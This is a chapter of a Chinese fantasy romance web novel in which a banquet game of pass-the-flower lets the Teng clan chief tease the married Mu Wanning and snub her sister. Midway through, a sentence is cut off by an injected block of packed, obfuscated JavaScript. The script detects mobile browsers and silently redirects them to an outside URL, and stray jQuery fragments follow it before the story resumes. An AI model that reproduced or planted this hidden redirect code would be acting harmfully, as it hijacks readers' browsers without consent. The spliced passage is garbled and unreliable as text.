玩游戏?
想吃完饭就溜的慕晚凝不太喜欢,希望大家能拒绝。
慕粼接了宁柔的话:“玩什么?”
“击鼓传花。”
“这么俗气的游戏。”祝清欢忍不住道。
宁柔暗暗瞪她一眼,拿出一个绣花球,维持着笑容继续道:“鼓声响起,大家便传递绣花球。停止后,在谁手里,谁就可以要求左手边的人做一件事,或者问一个问题,回答的人必须说真心话。”
输了却不是惩罚自己,而是要求旁人……
慕晚晴左手边便是滕厌,这算盘打的……
在场谁看不出来。
滕厌弯了弯唇:“有点意思。”
这场宴会的主人这么说了,于是大家便不好再拒绝。
虽是这一桌子的人玩游戏,但旁边有很多人都好奇围过来看。
滕厌还没开口让人拿鼓,宁柔已经吩咐人抬着鼓进来了。
她的人站在那,拿着鼓棒,负责打鼓。
宁柔将绣花球交给滕厌:“从你开始吧,滕族长。”
虽然说着俗气,但祝清欢还是来了点兴趣,跃跃欲试,问:“从哪边开始?”
滕厌若有所思,慕晚晴想都不想,立马积极道:“给我!滕厌哥哥传给我!”
第一轮开始。
鼓声响起,滕厌传递给慕晚晴,大家依次传给右边的人。
转了一整圈,再次传到慕晚晴手里的时候,鼓声停了。
“在我手里诶。”慕晚晴又惊又喜地看着手中的花球。
她期待又紧张地看向滕厌。
按照规矩,她可以问他一个真心话,或者要求他做一件事。
滕厌漫不经心道:“慕小姐请吧。”
慕晚晴咬唇,思索着,当着这么多人的面,她该问什么?
既能让滕厌哥哥看到她的感情,又不会太明显,让自己太掉价。
“滕厌哥哥觉得……在场红衣服的人,谁最漂亮?”
众人这才惊讶发现,穿着红衣服的女子只有慕家两位小姐。
很多人目露看好戏的神色。
慕晚晴期待着滕厌哥哥的回答。
她本就容貌勾人,身材火辣,加上她今天精致打扮过,没有男人把持得住,没有男人会不喜欢。
这一点,她还是很有自信的。
只不过,滕厌哥哥会不会不好意思说呢。
万众期待,滕厌随口答:“我。”
此话一出,大家都愣住了,谁也没想到会是这个回答。
慕晚凝往滕厌那里看了一眼,他随意笑着,却耀眼极了,一身红衣衬得他张扬肆意。
没有听到预想中的回答,慕晚晴呆愣过后,有点急:“我说的是女子……没有包括男性。滕厌哥哥你重新回答!”
滕厌:“这是另一个问题。”
慕晚晴不甘心作罢。
击鼓传花再次开始,鼓声越来越快,这次绕了两圈,花球再次停到慕晚晴手中。
她一副将球迅速递出去、却只差了一点、最后遗憾收回的模样,道:“差一点,没传出去……”
大家总算明白了。
其他人只是免费的陪玩啊!这场游戏的主角是滕厌和慕晚晴。
这一次,慕晚晴继续问刚才没听到的回答:“滕厌哥哥,你觉得在场穿红衣服的女子,谁最漂亮呀?”
祝清欢无语撇撇嘴,在慕晚凝耳边小声吐槽:“她还能再明显点吗?直接问在你心里我漂不漂亮不就好了。”
可能……那样更明显吧。
慕晚凝没说话,也不期待滕厌的回答。
这问题问的,司马昭之心路人皆知。
她和慕晚晴……从小到大,她都知道,自己没有二姐漂亮。
慕晚晴的长相更媚更欲,放眼整个妖界都是绝色。狐族一向出美人。
在场几乎所有人心里都有一个共同答案。
毕竟,除了不受宠、不讨喜外,慕三小姐还有一个问题。
那就是,她已经是少夫人了,说她不合适。
滕厌漂亮的眼眸慢悠悠转了一圈,打量在场人的穿着。
许多被他扫过的女孩都心春荡漾,有的暗暗懊恼自己今天没穿对衣服。
滕厌笑了笑,最后看向慕晚凝:“慕三小姐,很漂亮。”
一言惊起千层浪。
众人无不惊愣,不可思议极了。人群中的乔姝雨眉毛狠狠拧了起来。
慕晚凝错愕抬头。
慕晚晴也呆住了,势在必得的笑容僵在脸上。
半晌,她难以置信自己耳朵听到的话。
“滕厌哥哥……她已经嫁人了。”
“她嫁人和我说她漂亮,有冲突吗?”
“可是……”慕晚晴不知道怎么说,憋出来一句,“你不怕少主生气?”
“生气又怎样。”滕厌笑得漫不经心,“你觉得我会怕他?”
“当然不会……”慕晚晴脸色铁青。
一下子成为视线焦点,慕晚凝脸色也不好看。
她觉得自己该说点什么,可是又不知道该说什么,就这样沉默着。
落在滕厌眼里,她脸色难看极了。
“慕三小姐,我夸你漂亮,你怎么并不开心?”
滕厌这家伙偏偏还追问。
有人小声嘀咕:“就是,摆什么脸色,夸她这是她的荣幸……”
慕晚凝挤出笑容:“谢谢滕族长夸奖,给我这个少夫人面子。”
她强调少夫人这个身份,提醒大家她已经结婚了,是大少主的妻子。
强调滕厌是碍于王室,给她一个薄面。
众人了然。
对,就是这样。慕晚晴听进去了,她这样安慰自己。
滕厌哥哥还是很有分寸的,不会当众给王室的人难堪。
兴许是为了不那么明显,让其他人也有点参与感,这一次击鼓传花停在了余浅浅手里。
余浅浅自己都没有想到,望着花球一时不知所措。
她左边是……
祝清欢嘴巴张成圆形,用胳膊撞了撞她,无声说着:好机会,快上啊!
松行简看向余浅浅,问:“余小姐有什么要问的吗?或者让我做什么?”
众目睽睽,余浅浅性格本就容易紧张,现在心跳更是快得厉害。
想问在场有没有他喜欢的人,他喜欢什么样的女孩……
可这太明显了。
她不敢。
如果被看出心思,被他讨厌了怎么办?
不知道说什么,半晌她道:“我希望……你答应我一个要求。”
松行简一愣。
“……具体什么我还没想好。”余浅浅慢慢道。
松行简回过神
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17275541|198225||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来,爽快答应:“好啊,那就先欠着余小姐。”
游戏继续。
这次,绕了一圈到滕厌手里的时候,鼓声未停,可他却并没有递给慕晚晴的意思,而是继续拿着。
击鼓的人都准备停了,见这模样,只好继续敲。
可是滕厌就一直垂眸把玩着手里的花球,一点给出去的意思都没有。
“滕族长……”宁柔忍不住提醒。
“这不符合规矩吗?”他问。
“这……倒是符合。”
于是他笑吟吟地继续拿着了。
最后没办法,鼓手只好停了。
滕厌好整以暇地望着左手边的二少主。
楼玉蘅等着他提要求。
难道要为难他?
滕厌:“二少主,我想请你和旁边的……少夫人,换个位置。”
楼玉蘅:“?”
慕晚凝:“??”
慕晚凝只想安安静静吃完饭,然后迅速走人。
不知道滕厌抽什么疯,一直找她的事。
所有人都不知道这是什么操作。
可以命令楼玉蘅做一件事,却让他莫名其妙地换个位置。
难道不想和他坐一起?
莫名其妙换了位置的慕晚凝尽量和右边的某人保持距离。
再一次开始,滕厌又故技重施,花球勾在自己手里,不传给下一个人。
鼓声激昂,他始终无动于衷。
慕晚晴急得不行,却不敢表现出来。
“滕厌哥哥,不传给我吗?”
“嗯。”
“为、为什么啊?”
他勾唇一笑:“好玩啊。”
于是花球就又落在了他手里。
滕厌看向坐在左手边人,问:“少夫人,你觉得我和大少主相比,谁更有魅力?”
慕晚凝:“…………”
原来传说中神秘的滕族长是个神经病啊!
原来换位置是为了这一出啊。
大家觉得,这应该是为了故意羞辱大少主而给出的问题。
不管慕晚凝的回答如何,两人放在一起比较,就是对大少主的一种残忍打击啊!
一个俊美出尘,无可挑剔;一个残躯败体,落魄少主……
慕晚凝心里咒骂了滕厌一万句,表面如常地回答:“自然是大少主。”
滕厌一副非常惊讶的模样,惊讶的有点故作夸张。
他目光灼灼:“哦?是吗,不是违心话?他人不在这里,你不必担心,可以大胆说。”
慕晚凝感受到一道阴恻恻的目光,偏头一看,那位乔小姐一直死死盯着他们看,表情非常不悦。
“!”
差点把她忘了。
还好她没有说什么很过分的话。
慕晚凝看着滕厌,一字一顿地道:“少主是我的夫君,在我心里,他比你有魅力多了。”
这也不完全是为了说给乔姝雨听。
她现在看滕厌非常不顺眼,连看他的笑脸都觉得非常欠揍。
让她夸他有魅力,那她是无论如何也说不出来的!
滕厌直望她的眼睛,仿佛这样能看到她心里最真实的想法:“他一个毁了容、身体残缺了的人,哪里好?”
慕晚凝学他刚才的回答:“这是另一个问题。”
滕厌笑了笑,没再追问。